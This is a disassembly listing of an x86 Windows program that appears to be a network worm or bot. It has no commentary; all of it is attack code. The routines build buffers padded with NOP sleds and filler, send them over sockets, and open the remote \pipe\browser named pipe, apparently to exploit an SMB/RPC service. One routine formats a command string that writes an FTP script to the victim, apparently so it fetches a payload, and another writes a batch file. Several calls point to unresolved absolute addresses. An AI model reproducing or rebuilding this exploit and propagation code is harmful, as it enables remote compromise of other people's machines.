		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467AC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_44690C
		mov	ecx, dword_446910
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446900
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461D0
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_446227
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_44622B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_44622F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445ED0, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465C4[edx*8]
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E20
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F8
		mov	edi, offset loc_445E20
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E20
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E20
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465C4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_446234
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_4462A0
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446458
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464C4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446538
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_446344
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463C4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		nop
		call	near ptr 28502B8h
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_446044
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460F0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		call	near ptr 71AB9639h
		nop
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 28502B8h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		call	near ptr 28502B8h
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469B4
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C2C
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_446964
		rep stosd
		mov	eax, dword_446C24
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_446994
		lea	edi, [esp+69Ch]
		mov	ax, word_446C20
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446900
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		call	near ptr 2880000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446918
		push	esi
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 2860000h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		call	near ptr 2800000h
		nop
		test	eax, eax
		jnz	short loc_426458
		push	esi
		call	near ptr 2860000h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C64
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC8, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE9, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CE1, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CF7, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD8
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CDC
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CDD
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CE1
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CE5
		mov	[ecx+8], esi
		mov	esi, dword_446CE9
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CED
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
